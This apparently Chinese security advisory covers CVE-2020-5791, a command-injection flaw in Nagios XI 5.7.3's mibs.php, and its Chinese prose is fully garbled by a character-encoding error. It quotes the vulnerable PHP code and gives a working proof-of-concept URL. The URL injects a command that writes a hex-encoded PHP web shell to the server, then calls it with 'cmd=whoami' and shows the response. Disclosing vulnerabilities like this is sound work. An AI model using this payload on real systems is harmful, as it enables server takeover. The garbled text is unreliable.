CVE-2020-5791 | Nagios XIÔ¶³Ì´úÂëÖ´ÐÐÎó²îͨ¸æ

Ðû²¼Ê±¼ä 2020-10-28

0x00 Îó²î¸ÅÊö

CNVD   ID

CVE-2020-5791

ʱ    ¼ä

2020-10-28

Àà    ÐÍ

RCE

µÈ    ¼¶

¸ßΣ

Ô¶³ÌʹÓÃ

ÊÇ

Ó°Ïì¹æÄ£

Nagios XI 5.7.3

 

Nagios XIÊÇÒ»¸ö½¨ÉèÔÚNagios½¹µãÉÏµÄÆóÒµ¼¶¼à²âºÍ±¨¾¯¼Æ»®µÄ¿ªÔ´×é¼þ¡£¡£¡£¡£¡£¡£¹¦Ð§°üÀ¨PHPÍøÕ¾½çÃæ¡¢×ÛºÏÌåÏÖͼ¡¢¿É¶¨ÖƵÄÒDZí°å¡¢ÍøÂç½á¹¹¡¢ÉèÖÃGUI(ͼÐÎÓû§½Ó¿Ú)¡¢Óû§ÖÎÀíµÈ¡£¡£¡£¡£¡£¡£

 

0x01 Îó²îÏêÇé

image.png

 

2020Äê10ÔÂ15ÈÕ£¬£¬£¬Nagios¿ª·¢ÍŶÓÐû²¼Ç徲ͨ¸æ³ÆNagios XI 5.7.3Öб£´æ¶à¸öÇå¾²Îó²î£¬£¬£¬ÆäÖнÏΪÑÏÖØµÄÊÇÒ»¸öÔ¶³Ì´úÂëÖ´ÐÐÎó²î£¨CVE-2020-5791£©£¬£¬£¬ÆäCVSSÆÀ·Ö7.2¡£¡£¡£¡£¡£¡£

¸ÃÎó²î±£´æÓÚ/nagiosxi/admin/mibs.phpÎļþÖС£¡£¡£¡£¡£¡£¹¥»÷Õß¿ÉÄÜʹÓôËÎó²îÒÔ¡°apache¡±Óû§Ö´ÐÐí§ÒâÏÂÁî¡£¡£¡£¡£¡£¡£ÏêϸÀ´Ëµ£¬£¬£¬µ±HTTP²ÎÊý¡°mode¡±¼´ÊÇ¡°undo-processing¡±²¢ÇÒ¡°type¡±²ÎÊý¼´ÊÇ1ʱ£¬£¬£¬¡°file¡±²ÎÊý×îÖÕ½«±»×ª´ï¸øPHP exec£¨£©º¯Êý£¬£¬£¬¶ø²»Ðè¾ÙÐÐÕûÀí¡£¡£¡£¡£¡£¡£ÒÔÏ´úÂëÏÔʾÁËÕâÒ»µã:

function route_request()

{

    global $request;

 

    $mode = '';

    if (isset($request['mode'])) {

        $mode = $request['mode'];   

    }

 

    switch ($mode) {

        ...

        case 'undo-processing':

            undo_process_single(); // VULN

            break;

       ...

    }  

...

}

 

function undo_process_single() {

    // Mode needs to be based on processing type of MIB, not on 'current' processing type

 

    $file = grab_request_var('file', '');

    $name = grab_request_var('name', '');

    $current_type = intval(grab_request_var('type', MIB_UPLOAD_DO_NOTHING));

 

    if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {

        show_mibs(false, _("No processing to be undone"));

    }

 

    undo_processing($file, $name, $current_type);  // VULN

 

    show_mibs(false, sprintf(_("Successfully reverted %s to 'uploaded' state"), $name));

}

 

function undo_processing($file, $name, $current_type) {

 

    if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {

        return;

    }

 

    $current_conf_path = get_processing_destination($current_type) . '/' . $file;

 

    remove_snmpttconvertmib_files(array($file));

 

    if ($current_type === MIB_UPLOAD_PROCESS_ONLY) {

        $get_event_names_cmd = get_root_dir() . "/scripts/nxti_import.php $current_conf_path --no-insert";

        exec($get_event_names_cmd, $all_events, $rc); // VULN

        $all_events = array_unique($all_events);

 

        remove_from_snmptt_conf($all_events);

    }

 

    mibs_revert_db_entry($name);

}

 

 

´ËÎó²îµÄPOCÈçÏ£º

¹¥»÷Õß½«ÒÔÏÂÁ´½Ó·¢Ë͸øNagios XIÖÎÀíÔ±£º

http://192.168.x.x/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file=%3becho+-ne+"\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e">/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/scooby.php

ÖÎÀíÔ±µ¥»÷Á´½Óºó£¬£¬£¬½«½¨Éèscooby.phpÎļþ£¬£¬£¬¹¥»÷Õß¿ÉÒÔ»á¼ûн¨ÉèµÄPHP½ÅÔ­À´Ö´Ðиü¶àÏÂÁî¡£¡£¡£¡£¡£¡£

http://192.168.x.x/nagiosxi/includes/components/autodiscovery/jobs/scooby.php?cmd=whoami

 

×¢ÖØÏìÓ¦Öеġ°apache¡±£º

HTTP/1.1 200 OK

Date: Thu, 24 Sep 2020 21:09:56 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16

X-Powered-By: PHP/5.4.16

Content-Length: 19

Connection: close

Content-Type: text/html; charset=UTF-8

 

apache

 --no-insert

 

0x02 ´¦Öóͷ£½¨Òé

Éý¼¶µ½×îа汾¡£¡£¡£¡£¡£¡£

ÏÂÔØÁ´½Ó£º

https://www.nagios.com/downloads/nagios-xi/

 

0x03 ²Î¿¼Á´½Ó

https://www.nagios.com/products/security/

https://www.nagios.com/downloads/nagios-xi/change-log/

https://zh-cn.tenable.com/security/research/tra-2020-58?tns_redirect=true

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5791

 

0x04 ʱ¼äÏß

2020-10-15  NagiosÐû²¼Ç徲ͨ¸æ

2020-10-28  VSRCÐû²¼Ç徲ͨ¸æ

 

0x05 ¸½Â¼

 

CVSSÆÀ·Ö±ê×¼¹ÙÍø£ºhttp://www.first.org/cvss/

 

 

 

image.png